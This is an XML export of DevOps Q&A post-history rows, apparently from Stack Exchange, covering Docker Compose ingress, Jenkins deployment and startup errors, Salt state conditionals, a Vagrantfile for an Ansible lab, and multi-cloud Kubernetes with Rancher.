  <row Id="21859" PostHistoryTypeId="2" PostId="6881" RevisionGUID="c5c7f5ca-bc5d-4b48-93d2-b7075d42f067" CreationDate="2019-04-17T02:10:11.107" UserId="7118" Text="I'm more of a software developer than a networking/ops person to give you some context. &#xD;&#xA;&#xD;&#xA;I'm currently creating an application that is a standard containerised microservices architecture, where my frontend is some static assets in an nginx container, and my backend APIs are expressjs servers running on node containers. &#xD;&#xA;&#xD;&#xA;When my frontend makes a call to a backend endpoint, it's going to look like: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;const response = await fetch(&quot;/api1/v1/items&quot;); &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Because by default the browser is going to make this request to the frontend container, we need  some way of redirecting that traffic to the correct backend container. &#xD;&#xA;&#xD;&#xA;One standard way to do this, is that I can setup a reverse-proxy in  the frontend container's `nginx.conf` to direct all `/api1/*` traffic to another service. &#xD;&#xA;&#xD;&#xA;ie. you would do something like this: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;location /a {&#xD;&#xA;   proxy_pass         http://api1;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Where you have defined api1 as a service in your `docker-compose.yml`. &#xD;&#xA;&#xD;&#xA;I'm a bit uncomfortable with this, at the cluster configuration is mixed up with the implementation. &#xD;&#xA;&#xD;&#xA;I am aware with [Kubernetes ingresses][1], this routing can be done from outside of the container - where essentially the traffic is routed as it enters the cluster. &#xD;&#xA;&#xD;&#xA;This is a much nicer solution in my view. &#xD;&#xA;&#xD;&#xA;But the reason I'm using docker-compose is just for simplicity - it's more for running the cluster on your local machine and just getting the whole thing up and running. &#xD;&#xA;&#xD;&#xA;Is there a similar configurable ingress concept for docker-compose? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/ingress/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21860" PostHistoryTypeId="1" PostId="6881" RevisionGUID="c5c7f5ca-bc5d-4b48-93d2-b7075d42f067" CreationDate="2019-04-17T02:10:11.107" UserId="7118" Text="Is there an equivilent of a Kubernetes ingress for Docker Compose?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21861" PostHistoryTypeId="3" PostId="6881" RevisionGUID="c5c7f5ca-bc5d-4b48-93d2-b7075d42f067" CreationDate="2019-04-17T02:10:11.107" UserId="7118" Text="&lt;docker-compose&gt;&lt;microservices&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21862" PostHistoryTypeId="2" PostId="6882" RevisionGUID="6412ac35-7c04-426a-a924-326fc8b037fc" CreationDate="2019-04-17T09:32:43.680" UserId="13461" Text="I'm a very beginner in Jenkins and afraid that I ask you something not clear with a weird question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'd like to deploy my simple node app server to Ubuntu via Jenkins. &#xD;&#xA;&#xD;&#xA;I tried to write a command in Build at a Job as below :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;./script/deploy.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;deploy.sh file is here.&#xD;&#xA;```&#xD;&#xA;#!/bin/sh&#xD;&#xA;EOF&#xD;&#xA; npm install&#xD;&#xA; pm2 restart app.js --name=&quot;myApp&quot;&#xD;&#xA; exit&#xD;&#xA;EOF&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run a build, it stucked with error as &#xD;&#xA;&#xD;&#xA;    FATAL: Could not checkout 0d563b394d506e8450833e9b36d7a7b44834df39&#xD;&#xA;&#xD;&#xA;The Full log of Error.&#xD;&#xA;```&#xD;&#xA; &gt; git checkout -f 0d563b394d506e8450833e9b36d7a7b44834df39&#xD;&#xA;FATAL: Could not checkout 0d563b394d506e8450833e9b36d7a7b44834df39&#xD;&#xA;hudson.plugins.git.GitException: Command &quot;git checkout -f 0d563b394d506e8450833e9b36d7a7b44834df39&quot; returned status code 1:&#xD;&#xA;stdout: &#xD;&#xA;stderr: error: unable to unlink old 'node_modules/express-session/HISTORY.md': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/LICENSE': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/README.md': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/index.js': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/package.json': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/session/cookie.js': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/session/memory.js': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/session/session.js': Permission denied&#xD;&#xA;error: unable to unlink old 'node_modules/express-session/session/store.js': Permission denied&#xD;&#xA;HEAD is now at 0d563b3 commit&#xD;&#xA;&#xD;&#xA;	at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2042)&#xD;&#xA;	at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.access$900(CliGitAPIImpl.java:72)&#xD;&#xA;	at org.jenkinsci.plugins.gitclient.CliGitAPIImpl$9.execute(CliGitAPIImpl.java:2341)&#xD;&#xA;Caused: hudson.plugins.git.GitException: Could not checkout 0d563b394d506e8450833e9b36d7a7b44834df39&#xD;&#xA;	at org.jenkinsci.plugins.gitclient.CliGitAPIImpl$9.execute(CliGitAPIImpl.java:2365)&#xD;&#xA;	at hudson.plugins.git.GitSCM.checkout(GitSCM.java:1242)&#xD;&#xA;	at hudson.scm.SCM.checkout(SCM.java:504)&#xD;&#xA;	at hudson.model.AbstractProject.checkout(AbstractProject.java:1208)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.defaultCheckout(AbstractBuild.java:574)&#xD;&#xA;	at jenkins.scm.SCMCheckoutStrategy.checkout(SCMCheckoutStrategy.java:86)&#xD;&#xA;	at hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:499)&#xD;&#xA;	at hudson.model.Run.execute(Run.java:1816)&#xD;&#xA;	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;	at hudson.model.Executor.run(Executor.java:429)&#xD;&#xA;Finished: FAILURE&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My questions :&#xD;&#xA;&#xD;&#xA;**1. How to deploy a node app to ubuntu via Jenkins.**&#xD;&#xA;&#xD;&#xA;- Is my way right? or another way is better?&#xD;&#xA;&#xD;&#xA;**2. What error is it as following the log.**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21863" PostHistoryTypeId="1" PostId="6882" RevisionGUID="6412ac35-7c04-426a-a924-326fc8b037fc" CreationDate="2019-04-17T09:32:43.680" UserId="13461" Text="How to deploy Node app via Jenkins to Ubuntu(18.04)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21864" PostHistoryTypeId="3" PostId="6882" RevisionGUID="6412ac35-7c04-426a-a924-326fc8b037fc" CreationDate="2019-04-17T09:32:43.680" UserId="13461" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;deployment&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21868" PostHistoryTypeId="2" PostId="6884" RevisionGUID="d1818c77-cb23-46f0-9479-da09248574db" CreationDate="2019-04-17T12:33:12.130" UserId="7730" Text="Kubernetes ingress is implemented by changing the configuration of another container or the cloud load balancer to route traffic to the service port/ip. Docker by itself is fairly lightweight, only runs the containers you start, and does not have external dependencies on things like your cloud load balancer. The solutions to setup a reverse proxy inside a container are almost identical to the kubernetes nginx based ingress controllers, with the key difference being the configuration of that reverse proxy.&#xD;&#xA;&#xD;&#xA;There are a variety of docker based reverse proxies that configure themselves, including docker-flow-proxy, nginx-proxy, and Docker-EE ships with interlock that configures HA proxy. Probably the easies solution I've seen to implement is traefik which can be configured to monitor the docker socket for changes and automatically reconfigure based on labels set on your containers.&#xD;&#xA;&#xD;&#xA;One important difference from Kubernetes is that docker networks are not flat, you will need to explicitly place the proxy container on the same docker network as your application in order for them to be able to route traffic between each other." ContentLicense="CC BY-SA 4.0" />
  <row Id="21871" PostHistoryTypeId="2" PostId="6885" RevisionGUID="cdbf60e7-354f-49cc-a6e7-24d58b747860" CreationDate="2019-04-17T14:19:11.567" UserId="10712" Text="I invoke a saltstack state file &quot;init.sls&quot; from a Jenkins pipeline as below. If job == Yes, it is expected to execute test_command and test_final, else if job == No, it must execute test2_command and test_final&#xD;&#xA;&#xD;&#xA;{% if {{ job }} == 'Yes' %}&#xD;&#xA;test_command:&#xD;&#xA;  cmd.run:&#xD;&#xA;    - name: echo &quot;TEST COMMAND EXEC&quot;&#xD;&#xA;{% elif {{ job }} == 'No' %}&#xD;&#xA;test2_command:&#xD;&#xA;  cmd.run:&#xD;&#xA;    - name: echo &quot;TEST2 COMMAND EXEC&quot;&#xD;&#xA;{% endif %}&#xD;&#xA;&#xD;&#xA;test_final:&#xD;&#xA;  cmd.run:&#xD;&#xA;    - name: echo &quot;FINAL SUCCESS&quot;&#xD;&#xA;&#xD;&#xA;However it is not successful. Is there a better way to achieve using salt state execution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21872" PostHistoryTypeId="1" PostId="6885" RevisionGUID="cdbf60e7-354f-49cc-a6e7-24d58b747860" CreationDate="2019-04-17T14:19:11.567" UserId="10712" Text="Why is IF failing with satl state file from Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21873" PostHistoryTypeId="3" PostId="6885" RevisionGUID="cdbf60e7-354f-49cc-a6e7-24d58b747860" CreationDate="2019-04-17T14:19:11.567" UserId="10712" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21879" PostHistoryTypeId="50" PostId="5086" RevisionGUID="1771f3cd-afa6-414d-abb8-5d491a694604" CreationDate="2019-04-17T16:01:15.213" UserId="-1" />
  <row Id="21880" PostHistoryTypeId="2" PostId="6887" RevisionGUID="63d583ce-71e7-447a-a6aa-187134d74309" CreationDate="2019-04-17T17:52:37.413" UserId="13523" Text="Following Vagrant file address this problem.&#xD;&#xA;&#xD;&#xA;You can get all supporting key files along with this vagrant file at https://github.com/malyabee/IaaC/tree/master/ansible_lab&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $commonscript = &lt;&lt;-SCRIPT&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo yum install python2 epel-release -y&#xD;&#xA;    sudo yum install -y ansible&#xD;&#xA;    sudo echo &quot;192.168.22.10	ansiblecontroller.example.com ansiblecontroller&quot; &gt;&gt; /etc/hosts&#xD;&#xA;    sudo echo &quot;192.168.22.11   node01.example.com 	node01&quot; &gt;&gt; /etc/hosts&#xD;&#xA;    sudo echo &quot;192.168.22.12   node02.example.com      node02&quot; &gt;&gt; /etc/hosts&#xD;&#xA;    SCRIPT&#xD;&#xA;    &#xD;&#xA;    $nodescript = &lt;&lt;-SCRIPT&#xD;&#xA;    cat /vagrant/ansible_lab.pub &gt;&gt; /home/vagrant/.ssh/authorized_keys&#xD;&#xA;    SCRIPT&#xD;&#xA;    &#xD;&#xA;    $ansiblescript = &lt;&lt;-SCRIPT&#xD;&#xA;    sudo yum install ansible -y&#xD;&#xA;    sudo cp -r /vagrant/ansible_lab /home/vagrant/.ssh/id_rsa&#xD;&#xA;    sudo chmod 400  /home/vagrant/.ssh/id_rsa&#xD;&#xA;    sudo chown vagrant:vagrant /home/vagrant/.ssh/id_rsa&#xD;&#xA;    SCRIPT&#xD;&#xA;    &#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;      config.vm.provision &quot;shell&quot;, inline: &quot;echo Hello&quot;&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;ansiblecontroller&quot; do |ansiblecontroller|&#xD;&#xA;        ansiblecontroller.vm.box = &quot;centos/7&quot;&#xD;&#xA;        ansiblecontroller.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;              v.memory = 512&#xD;&#xA;              v.cpus = 1&#xD;&#xA;           end&#xD;&#xA;        ansiblecontroller.vm.network &quot;private_network&quot;, ip: &quot;192.168.22.10&quot;, virtualbox__intnet: &quot;mynetwork01&quot;&#xD;&#xA;        ansiblecontroller.vm.hostname = &quot;ansiblecontroller.example.com&quot;&#xD;&#xA;        # Installing required packages for ansible controller node&#xD;&#xA;        ansiblecontroller.vm.provision &quot;shell&quot;, inline: $commonscript&#xD;&#xA;        ansiblecontroller.vm.provision &quot;shell&quot;, inline: $ansiblescript&#xD;&#xA;      end&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node01&quot; do |node01|&#xD;&#xA;        node01.vm.box = &quot;centos/7&quot;&#xD;&#xA;        node01.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;              v.memory = 512&#xD;&#xA;              v.cpus = 1&#xD;&#xA;           end&#xD;&#xA;        node01.vm.network &quot;private_network&quot;, ip: &quot;192.168.22.11&quot;, virtualbox__intnet: &quot;mynetwork01&quot;&#xD;&#xA;        node01.vm.hostname = &quot;node01.example.com&quot;&#xD;&#xA;        # Installing required packages for  node01&#xD;&#xA;        node01.vm.provision &quot;shell&quot;, inline: $commonscript&#xD;&#xA;        node01.vm.provision &quot;shell&quot;, inline: $nodescript&#xD;&#xA;      end&#xD;&#xA;      config.vm.define &quot;node02&quot; do |node02|&#xD;&#xA;        node02.vm.box = &quot;centos/7&quot;&#xD;&#xA;        node02.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;              v.memory = 512&#xD;&#xA;              v.cpus = 1&#xD;&#xA;           end&#xD;&#xA;        node02.vm.network &quot;private_network&quot;, ip: &quot;192.168.22.12&quot;, virtualbox__intnet: &quot;mynetwork01&quot;&#xD;&#xA;        node02.vm.hostname = &quot;node02.example.com&quot;&#xD;&#xA;        # Installing required packages for  node01&#xD;&#xA;        node02.vm.provision &quot;shell&quot;, inline: $commonscript&#xD;&#xA;        node02.vm.provision &quot;shell&quot;, inline: $nodescript&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21884" PostHistoryTypeId="2" PostId="6889" RevisionGUID="304ef7e6-1203-4384-8b9d-221decec85f8" CreationDate="2019-04-17T19:16:53.993" UserId="6579" Text="You have a GIT permissions issue (you cannot write to files and or directory):&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/11774397/git-push-error-unable-to-unlink-old-permission-denied&#xD;&#xA;&#xD;&#xA;    stderr:&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/HISTORY.md': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/LICENSE': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/README.md': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/index.js': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/package.json': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/session/cookie.js': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/session/memory.js': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/session/session.js': Permission denied&#xD;&#xA;    error: unable to unlink old 'node_modules/express-session/session/store.js': Permission denied" ContentLicense="CC BY-SA 4.0" />
  <row Id="21886" PostHistoryTypeId="2" PostId="6891" RevisionGUID="84a4ab6a-7324-47a2-9a72-5d76f2de803f" CreationDate="2019-04-17T21:55:49.893" UserId="13528" Text="I'm exploring doing kubernetes on a multicloud setup the configuration I want is a master connected to nodes in multiple cloud platfoems. In my limited research I haven't found many tools to make this happen,   from what I can tell rancher seems like the best option, but I don't think this fits within the traditional usecase. My question is does this sound like something rancher was made for? Honestly it seems more of a kubeadm usecase but the caveat is I want to use multiple managed solutions where multiple masters all share a common node pool." ContentLicense="CC BY-SA 4.0" />
  <row Id="21887" PostHistoryTypeId="1" PostId="6891" RevisionGUID="84a4ab6a-7324-47a2-9a72-5d76f2de803f" CreationDate="2019-04-17T21:55:49.893" UserId="13528" Text="Kubernetes multi cloud" ContentLicense="CC BY-SA 4.0" />
  <row Id="21888" PostHistoryTypeId="3" PostId="6891" RevisionGUID="84a4ab6a-7324-47a2-9a72-5d76f2de803f" CreationDate="2019-04-17T21:55:49.893" UserId="13528" Text="&lt;kubernetes&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21889" PostHistoryTypeId="2" PostId="6892" RevisionGUID="d244d87f-0b6b-441b-8b89-b642f97567e8" CreationDate="2019-04-17T22:13:13.397" UserId="13528" Text="I know a good amount about Jenkins so I can give you specific information about that, but I know virtually nothing about AWS code deploy, that being said using my general AWS knowledge, there are a few things I think I can safely tell you to get started. &#xA;&#xA; 1. Jenkins is open source however you can get hosted Jenkins if you prefer a managed solution. CodeDeploy on the other hand is purely managed so I don't believe you have the option for something such as on prem or any other self hosted solutions. &#xA; 2. Part of what gives Jenkins it's incredible power is the massive community following and subsequent plugins that are continuously churned out for Jenkins. In comparison I assume the AWS marketplace may be rather limited as to it's offerings but I can't offer any official word on this.&#xA;&#xA;I hope that helps in some capacity." ContentLicense="CC BY-SA 4.0" />
  <row Id="21890" PostHistoryTypeId="5" PostId="6891" RevisionGUID="41cc730e-20d9-4487-9440-d2255087d962" CreationDate="2019-04-17T22:18:33.557" UserId="13528" Comment="edited body" Text="I'm exploring doing kubernetes on a multicloud setup the configuration I want is a master connected to nodes in multiple cloud platforms. In my limited research I haven't found many tools to make this happen,   from what I can tell rancher seems like the best option, but I don't think this fits within the traditional usecase. My question is does this sound like something rancher was made for? Honestly it seems more of a kubeadm usecase but the caveat is I want to use multiple managed solutions where multiple masters all share a common node pool." ContentLicense="CC BY-SA 4.0" />
  <row Id="21891" PostHistoryTypeId="50" PostId="3066" RevisionGUID="66a6f428-9e32-4085-8c85-a8ba2f4941fc" CreationDate="2019-04-17T23:03:35.727" UserId="-1" />
  <row Id="21892" PostHistoryTypeId="2" PostId="6893" RevisionGUID="28210d6d-40f6-44af-a8a9-21074e222340" CreationDate="2019-04-17T23:08:24.900" UserId="4062" Text="(Rancher employee) Kubernetes itself is really [not meant](https://kubernetes.io/docs/setup/multiple-zones/) for that use-case.  A cluster is generally a set of machines in the same provider with close proximity (latency) to each other.&#xD;&#xA;&#xD;&#xA;- Etcd (and therefore API/CLI/UI/scheduling/everything) performance depends heavily on the (worst-case) latency between all members.&#xD;&#xA;- Only one cloud-provider integration (storage providers, L4 load balancers) can be configured and most assume nodes are all in the same &quot;region&quot; or similar concept.&#xD;&#xA;- Commonly used network plugins assume adjacency and/or provide no encryption or authentication suitable for communicating across untrusted networks/the internet.&#xD;&#xA;- Communication between pods/services within the cluster has no consideration for where the &quot;nearest&quot; place to reach a pod for that service is, so latency from a pod to another service can be large (however far apart the two worst nodes are) and unpredictable (sometimes close, sometimes far).  (There is an option for nodePorts to *always* go to a local pod, but if there is no local pod it will just get dropped).&#xD;&#xA;&#xD;&#xA;You _can_ make a &quot;custom&quot; cluster and add nodes from wherever and do what you're asking in Rancher, but you're not going to have a good time (no matter what product is building the cluster)." ContentLicense="CC BY-SA 4.0" />
  <row Id="21896" PostHistoryTypeId="5" PostId="6885" RevisionGUID="ff45839a-3560-4ef3-b978-d8b76dc38630" CreationDate="2019-04-18T01:52:13.117" UserId="47" Comment="improved formatting" Text="I invoke a saltstack state file &quot;init.sls&quot; from a Jenkins pipeline as below. If `job == Yes`, it is expected to execute `test_command` and test_final, else `if job == No`, it must execute `test2_command` and `test_final`&#xD;&#xA;&#xD;&#xA;    {% if {{ job }} == 'Yes' %}&#xD;&#xA;    test_command:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: echo &quot;TEST COMMAND EXEC&quot;&#xD;&#xA;    {% elif {{ job }} == 'No' %}&#xD;&#xA;    test2_command:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: echo &quot;TEST2 COMMAND EXEC&quot;&#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    test_final:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: echo &quot;FINAL SUCCESS&quot;&#xD;&#xA;&#xD;&#xA;However it is not successful. Is there a better way to achieve using salt state execution?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21897" PostHistoryTypeId="2" PostId="6895" RevisionGUID="174c84cb-6dbf-4f63-ad80-1ef736d9c920" CreationDate="2019-04-18T03:48:48.573" UserId="6273" Text="I'm not sure how to ask it.  Is something like OpenStack the same thing as AWS and Azure, except it is Open Source?  If I wanted to create an onsite cloud for a Production environment, can OpenStack (or other) be used?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21898" PostHistoryTypeId="1" PostId="6895" RevisionGUID="174c84cb-6dbf-4f63-ad80-1ef736d9c920" CreationDate="2019-04-18T03:48:48.573" UserId="6273" Text="Is OpenStack the same type of software as Azure, AWS, etc.?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21899" PostHistoryTypeId="3" PostId="6895" RevisionGUID="174c84cb-6dbf-4f63-ad80-1ef736d9c920" CreationDate="2019-04-18T03:48:48.573" UserId="6273" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21900" PostHistoryTypeId="2" PostId="6896" RevisionGUID="b44e6316-fc03-432a-98b3-27e76e1a83eb" CreationDate="2019-04-18T08:43:36.683" UserId="13542" Text="I got this error after I restart my jenkins, can anyone suggest me how to solve it ?&#xD;&#xA;&#xD;&#xA;    hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:248)&#xD;&#xA;    Caused by: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;        at jenkins.InitReactorRunner.run(InitReactorRunner.java:47)&#xD;&#xA;        at jenkins.model.Jenkins.executeReactor(Jenkins.java:1110)&#xD;&#xA;        at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:926)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:231)&#xD;&#xA;    Caused by: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:161)&#xD;&#xA;        at jenkins.model.Jenkins.loadConfig(Jenkins.java:3015)&#xD;&#xA;        at jenkins.model.Jenkins.access$1100(Jenkins.java:326)&#xD;&#xA;        at jenkins.model.Jenkins$16.run(Jenkins.java:3033)&#xD;&#xA;        at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;        at jenkins.model.Jenkins$7.runTask(Jenkins.java:1086)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)&#xD;&#xA;        at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused by: jenkins.util.xstream.CriticalXStreamException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    ---- Debugging information ----&#xD;&#xA;    message             : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    cause-exception     : com.thoughtworks.xstream.mapper.CannotResolveClassException&#xD;&#xA;    cause-message       : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    class               : hudson.model.Hudson&#xD;&#xA;    required-type       : hudson.model.Hudson&#xD;&#xA;    converter-type      : hudson.util.RobustReflectionConverter&#xD;&#xA;    path                : /hudson/securityRealm&#xD;&#xA;    line number         : 485&#xD;&#xA;    version             : not available&#xD;&#xA;    -------------------------------&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:356)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:270)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)&#xD;&#xA;        at hudson.util.XStream2.unmarshal(XStream2.java:114)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:159)&#xD;&#xA;        ... 11 more&#xD;&#xA;    Caused by: com.thoughtworks.xstream.mapper.CannotResolveClassException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DefaultMapper.realClass(DefaultMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DynamicProxyMapper.realClass(DynamicProxyMapper.java:55)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.PackageAliasingMapper.realClass(PackageAliasingMapper.java:88)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ClassAliasingMapper.realClass(ClassAliasingMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ArrayMapper.realClass(ArrayMapper.java:74)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:71)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.XStream2$CompatibilityMapper.realClass(XStream2.java:282)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.xstream.MapperDelegate.realClass(MapperDelegate.java:43)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:48)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.determineType(RobustReflectionConverter.java:461)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:327)&#xD;&#xA;        ... 22 more&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21901" PostHistoryTypeId="1" PostId="6896" RevisionGUID="b44e6316-fc03-432a-98b3-27e76e1a83eb" CreationDate="2019-04-18T08:43:36.683" UserId="13542" Text="Jenkins fails to start after restart because of google login plugin had an exception" ContentLicense="CC BY-SA 4.0" />
